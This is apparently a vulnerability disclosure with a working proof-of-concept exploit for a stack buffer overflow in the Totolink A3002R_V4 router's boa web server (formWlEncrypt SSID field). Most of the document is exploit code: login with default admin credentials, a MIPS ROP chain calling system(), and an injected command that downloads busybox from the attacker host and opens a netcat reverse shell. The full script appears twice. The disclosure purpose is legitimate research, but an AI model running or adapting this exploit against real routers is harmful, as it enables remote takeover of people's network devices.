[VERSION]
Totolink AC1200 Wireless Dual Band Gigabit Router A3002R_V4 Firmware V4.0.0-B20230531.1404
PROBLEM TYPE
Buffer Overflow
[DESCRIPTION]
The router model A3002R_V4 from Totolink is vulnerable to a stack buffer overflow exploit in its firmware version A3002R V4_Firmware V4.0.0-B20230531.1404, leading to arbitrary command execution or denial of service attacks.
Exploit Author:Yaxuan Wang
Date: April 25, 2024, 10:23:38
Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
https://github.com/Swind1er/Video/raw/main/bandicam%202024-04-25%2021-31-27-628.mp4
AC1200 Wireless Dual Band Gigabit Router A3002R_V4
https://www.totolink.net/data/upload/20230830/ef5a16f4b16ef769081aa29caf78e929.rar
git clone https://github.com/Swind1er/Download
unrar x ./A3002R-V4.0.0-B20230531.1404.rar
binwalk --run-as=root -Me TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web
└─# readelf -h ./bin/busybox
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
└─# checksec ./boa
[!] Could not populate MIPS GOT: seek out of range
[!] Did not find any GOT entries
[*] '/root/Desktop/share/emb/firmware/exct/A3002R-V4.0.0-B20230531.1404/exp/Download/_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root/bin/boa'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Architecture: MIPS little endian
File Location
_TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web.extracted/squashfs-root/bin/boa
Vulnerable File
Using IDA to analyze the boa
file, at RVA: 0x00438E84, there is a function responsible for adding WLAN SSID. This function is a sub-function of the CGI handler function formWlEncrypt
.
int __fastcall setWlan(int a1, int a2, int field_name)
{
char wlan_name[36]; // [sp+18h] [-38h] BYREF
char v8[12]; // [sp+3Ch] [-14h] BYREF
int v9; // [sp+48h] [-8h] BYREF
apmib_save_wlanIdx();
sprintf(v8, "wlan%d-vxd", a1);
writeWlan(v8);
apmib_get(1, (int)wlan_name);
if ( strcmp(wlan_name, field_name) && strcmp(field_name, wlan_name) )
{
v9 = 1;
apmib_set(0x110, (int)&v9);
strcpy(wlan_name, field_name); //<-- Buffer Overflow
apmib_set(1, (int)wlan_name);
apmib_set(0x116, (int)wlan_name);
apmib_set(a2, (int)wlan_name);
}
sprintf(v8, "wlan%d", a1);
writeWlan(v8);
return apmib_recov_wlanIdx();
}
In the CGI handler function formWlEncrypt
of the web server (boa) in this firmware, the vendor only implemented simple character count control at the web front-end layer for the user-input wlan_ssid
field, without enforcing any character count limit at the backend. This leads to a stack overflow due to strcpy(wlan_name, field_name);
, subsequently resulting in arbitrary command execution or denial of service attacks. It's important to note that to reach the vulnerability point strcpy
, the vwlan_idx
field (RVA: 0x48a2a0) needs to be greater than or equal to 5. In the function at RVA 0x0043C9E0
, as shown in the following figure:
To make the wlan_idx
field greater than or equal to five, you can invoke its CGI function formMultiAP
, with RVA 0x0045984C
, as shown below:
To make the wlan_idx
field greater than or equal to 5, you need to include fields such as start_wsc
and needEnable11kv
in the request. Specific validation will be provided below.
-
FirmAE github:https://github.com/pr0v3rbs/FirmAE
-
gdb-multiarch
apt-get install gdb-multiarch
-
Python version >= 3.8 and install the requests and pwntools libraries. Gallopsled/pwntools: CTF framework and exploit development library (github.com)
pip install requests sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools
-
busybox-mipsel Download here:Swind1er/Download (github.com)
-
netcat
sudo apt-get install netcat
For ease of validation, the author simulated the router firmware using FirmAE.
First, the router firmware is simulated. It takes some time during the initial simulation of the firmware using FirmAE.
./run.sh -d totlink /root/Desktop/firmware/TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web
After the router comes online, we can access its web control page. (In the FirmAE simulation, the IP assigned to this router model is 192.168.0.1, and the default username and password for this router model are both admin.)
formMultiAP
First, you need to call the formMultiAP
CGI function to increase the value of the wlan_idx
field to 5. A simple exploit script is as follows:
import logging
import requests
logging.basicConfig(level=logging.DEBUG)
sessionId = ""
def invokeFormLogin():
global sessionId
url = 'http://192.168.0.1/boafrm/formLogin'
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, data=data)
logging.debug(f"sessionId--->{response.text}")
sessionId = response.text
def invokeformMultiAP():
global sessionId
url = 'http://192.168.0.1/boafrm/formMultiAP'
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/wlsecurity.htm'
}
data = {
'sessionCheck': sessionId,
'submit-url': '/wlsecurity.htm',
'start_wsc': '',
'needEnable11kv': '1',
'save_apply': '1'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
assert f'Failed to add wlan_idx. Status_code: {response.status_code}'
logging.info('Successfully added wlan_idx.')
def main():
invokeFormLogin()
invokeformMultiAP()
if __name__ == '__main__':
main()
In the function formMultiAP
(RVA: 0x0045984C
), as shown in the figure below:
The sessionCheck
in the invokeformMultiAP
function within the script is used for user authentication through boa
. The start_wsc
, needEnable11kv
, and save_apply
fields specify particular program execution flows to increase the wlan_idx
field to 5.
First, attach boa
using the gdbserver provided by FirmAE.
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
~ # ps | grep boa
659 root 4480 S boa
3606 root 4208 S /bin/boa
21333 root 1080 S grep boa
~ # /firmadyne/gdbserver 192.168.0.1:1337 --attach 659
Attached; pid = 659
Listening on port 1337
On the host machine, use gdb-multiarch for debugging.
gdb-multiarch -x ./mipsel.cmd
The contents of mipsel.cmd
are as follows:
set architecture mips
set endian little
set follow-fork-mode parent
b *0x00459FD4
b *0x00438F5C
b *0x00438F6C
target remote 192.168.0.1:1337
At the address 0x00459FD4, which marks the end of the formMultiAP
function, set a breakpoint to conveniently observe the value of wlan_idx
.
First, access the web control page in the browser at 192.168.0.1
and log in. [Important!]
Before sending the request, let's first check the value of wlan_idx
, as shown in the following figure:
You can see that the current value of wlan_idx
is 0. Run the script:
As shown below, you can see that the value of wlan_idx
is 5:
The first step of the exploit is complete.
Step 2: Trigger the stack overflow.
ASLR is disabled by default in the real environment, so use the following command to disable ASLR in the simulation environment:
echo 0 > /proc/sys/kernel/randomize_va_space
First, access the web control page in the browser at 192.168.0.1
and log in. [Important!]
Then run the following exploit:
from pwn import *
import logging
import requests
import subprocess
logging.basicConfig(level=logging.DEBUG)
context.log_level = 'debug'
sessionId = ""
def invokeFormLogin():
global sessionId
url = 'http://192.168.0.1/boafrm/formLogin'
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, data=data)
logging.debug(f"sessionId--->{response.text}")
sessionId = response.text
def invokeformMultiAP():
url = 'http://192.168.0.1/boafrm/formMultiAP'
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/wlsecurity.htm'
}
data = {
'sessionCheck': f'{sessionId}',
'submit-url': '/wlsecurity.htm',
'start_wsc': '',
'needEnable11kv': '1',
'save_apply':'1'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
assert(f'Failed to add wlan_idx. Status_code: {response.status_code}')
logging.info('Successfully added wlan_idx.')
def invokeFormWlEncrypt():
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/wlsecurity.htm'
}
data = {
'sessionCheck': 'd5c0e890940bdb1c5621c888994a23e6',
'submit-url': '%2Fwlsecurity.htm',
'opmode_wizard': '',
'staControlPrefer': '0',
'staControlEnabled': '0',
'80211v_enable_': 'disable',
'dot11k_': 'disable',
'SSID_Setting5': '1',
'has_vwlan5': '',
'wpaAuth5': 'psk',
'wpa11w5': 'none',
'wpa2EnableSHA2565': 'disable',
'ciphersuite5': 'aes',
'wpa2ciphersuite5': 'aes',
'wps_clear_configure_by_reg5': '0',
'wlan_disabled5': '0',
'wlan_ssid5': b'a'*0x44+b'deadbeef',
'method5': '0',
'wlcontroltime5': '0',
'stanums5': '32',
'authType5': 'auto',
'wepKeyLen5': 'wep64',
'wepEnabled5': 'ON',
'length5': '1',
'format5': '2',
'key5': '',
'pskFormat5': '0',
'pskValue5': '',
'preAuth5': '',
'radiusIP5': '',
'radiusPort5': '1812',
'radiusPass5': '',
'use1x5': 'OFF',
'eapType5': '0',
'eapInsideType5': '0',
'eapUserId5': '',
'radiusUserName5': '',
'radiusUserPass5': '',
'radiusUserCertPass5': '',
'wl_access5': '0',
'tx_restrict5': '0',
'rx_restrict5': '0',
'hiddenSSID5': '0',
'sync_password5': '1',
'save_apply': '1'
}
requests.post('http://192.168.0.1/boafrm/formWlEncrypt', headers=headers, data=data)
def attack(io):
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("\n")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.info("\n")
logging.warn("On this virtual device, the loading base address of ulibc is 0x77d0b000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of ulibc. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
server_process = subprocess.Popen(['python', '-m', 'http.server'])
#On this virtual device, the base address of ulibc is 0x77d0b000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
libc_base = 0x77d0b000
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
cmd = b' sleep 5;wget http://192.168.0.2:8000/busybox-mipsel;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\t\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += b'Content-Length: 1300\r\n'
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += b'sessionCheck=aa5edb8ba4aae591d9dd6af412bb8a22\
&submit-url=%2Fwlsecurity.htm\
&opmode_wizard=&staControlPrefer=0\
&staControlEnabled=0\
&80211v_enable_=disable\
&dot11k_=disable\
&SSID_Setting5=1\
&has_vwlan5=\
&wpaAuth5=psk\
&wpa11w5=none\
&wpa2EnableSHA2565=disable\
&ciphersuite5=aes\
&wpa2ciphersuite5=aes\
&wps_clear_configure_by_reg5=0\
&wlan_disabled5=0\
&wlan_ssid5='
payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa'
payload += p32(0xdeadbeef) #s2
payload += p32(libc_base+0x00033448) #s1 system addr
payload += p32(0xbeffdead) #s0
payload += p32(libc_base+0x000378D4) #ra addiu $v1, $sp, 0x120 ---> jalr $t9
''' addiu $v1, $sp, 0x120
LOAD:000378D8 move $a0, $v1
LOAD:000378DC move $t9, $s1
LOAD:000378E0 sw $v1, 0x1AC($sp)
LOAD:000378E4 move $a1, $zero
LOAD:000378E8 jalr $t9 ; memset'''
payload += b'b'*(0x120)
payload += cmd
payload += b'&method5=0&wlcontroltime5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2&key5=&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1'
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
server_process.terminate()
def main():
io = remote('192.168.0.1',80)
invokeFormLogin()
invokeformMultiAP()
attack(io)
if __name__ == '__main__':
main()
python ./exp.py
As shown in the image above, the shell has been successfully rebound.
from pwn import *
import logging
import requests
import subprocess
logging.basicConfig(level=logging.DEBUG)
context.log_level = 'debug'
sessionId = ""
def invokeFormLogin():
global sessionId
url = 'http://192.168.0.1/boafrm/formLogin'
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, data=data)
logging.debug(f"sessionId--->{response.text}")
sessionId = response.text
def invokeformMultiAP():
url = 'http://192.168.0.1/boafrm/formMultiAP'
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/wlsecurity.htm'
}
data = {
'sessionCheck': f'{sessionId}',
'submit-url': '/wlsecurity.htm',
'start_wsc': '',
'needEnable11kv': '1',
'save_apply':'1'
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
assert(f'Failed to add wlan_idx. Status_code: {response.status_code}')
logging.info('Successfully added wlan_idx.')
def invokeFormWlEncrypt():
headers = {
'Host': '192.168.0.1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://192.168.0.1',
'Connection': 'close',
'Referer': 'http://192.168.0.1/wlsecurity.htm'
}
data = {
'sessionCheck': 'd5c0e890940bdb1c5621c888994a23e6',
'submit-url': '%2Fwlsecurity.htm',
'opmode_wizard': '',
'staControlPrefer': '0',
'staControlEnabled': '0',
'80211v_enable_': 'disable',
'dot11k_': 'disable',
'SSID_Setting5': '1',
'has_vwlan5': '',
'wpaAuth5': 'psk',
'wpa11w5': 'none',
'wpa2EnableSHA2565': 'disable',
'ciphersuite5': 'aes',
'wpa2ciphersuite5': 'aes',
'wps_clear_configure_by_reg5': '0',
'wlan_disabled5': '0',
'wlan_ssid5': b'a'*0x44+b'deadbeef',
'method5': '0',
'wlcontroltime5': '0',
'stanums5': '32',
'authType5': 'auto',
'wepKeyLen5': 'wep64',
'wepEnabled5': 'ON',
'length5': '1',
'format5': '2',
'key5': '',
'pskFormat5': '0',
'pskValue5': '',
'preAuth5': '',
'radiusIP5': '',
'radiusPort5': '1812',
'radiusPass5': '',
'use1x5': 'OFF',
'eapType5': '0',
'eapInsideType5': '0',
'eapUserId5': '',
'radiusUserName5': '',
'radiusUserPass5': '',
'radiusUserCertPass5': '',
'wl_access5': '0',
'tx_restrict5': '0',
'rx_restrict5': '0',
'hiddenSSID5': '0',
'sync_password5': '1',
'save_apply': '1'
}
requests.post('http://192.168.0.1/boafrm/formWlEncrypt', headers=headers, data=data)
def attack(io):
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("\n")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.info("\n")
logging.warn("On this virtual device, the loading base address of ulibc is 0x77d0b000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of ulibc. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
server_process = subprocess.Popen(['python', '-m', 'http.server'])
#On this virtual device, the base address of ulibc is 0x77d0b000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
libc_base = 0x77d0b000
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
cmd = b' sleep 5;wget http://192.168.0.2:8000/busybox-mipsel;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\t\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += b'Content-Length: 1300\r\n'
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += b'sessionCheck=aa5edb8ba4aae591d9dd6af412bb8a22\
&submit-url=%2Fwlsecurity.htm\
&opmode_wizard=&staControlPrefer=0\
&staControlEnabled=0\
&80211v_enable_=disable\
&dot11k_=disable\
&SSID_Setting5=1\
&has_vwlan5=\
&wpaAuth5=psk\
&wpa11w5=none\
&wpa2EnableSHA2565=disable\
&ciphersuite5=aes\
&wpa2ciphersuite5=aes\
&wps_clear_configure_by_reg5=0\
&wlan_disabled5=0\
&wlan_ssid5='
payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa'
payload += p32(0xdeadbeef) #s2
payload += p32(libc_base+0x00033448) #s1 system addr
payload += p32(0xbeffdead) #s0
payload += p32(libc_base+0x000378D4) #ra addiu $v1, $sp, 0x120 ---> jalr $t9
''' addiu $v1, $sp, 0x120
LOAD:000378D8 move $a0, $v1
LOAD:000378DC move $t9, $s1
LOAD:000378E0 sw $v1, 0x1AC($sp)
LOAD:000378E4 move $a1, $zero
LOAD:000378E8 jalr $t9 ; memset'''
payload += b'b'*(0x120)
payload += cmd
payload += b'&method5=0&wlcontroltime5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2&key5=&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1'
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
server_process.terminate()
def main():
io = remote('192.168.0.1',80)
invokeFormLogin()
invokeformMultiAP()#After auditing the code, it was found that this function call is not necessary, but it still works without any impact on the result.
attack(io)
if __name__ == '__main__':
main()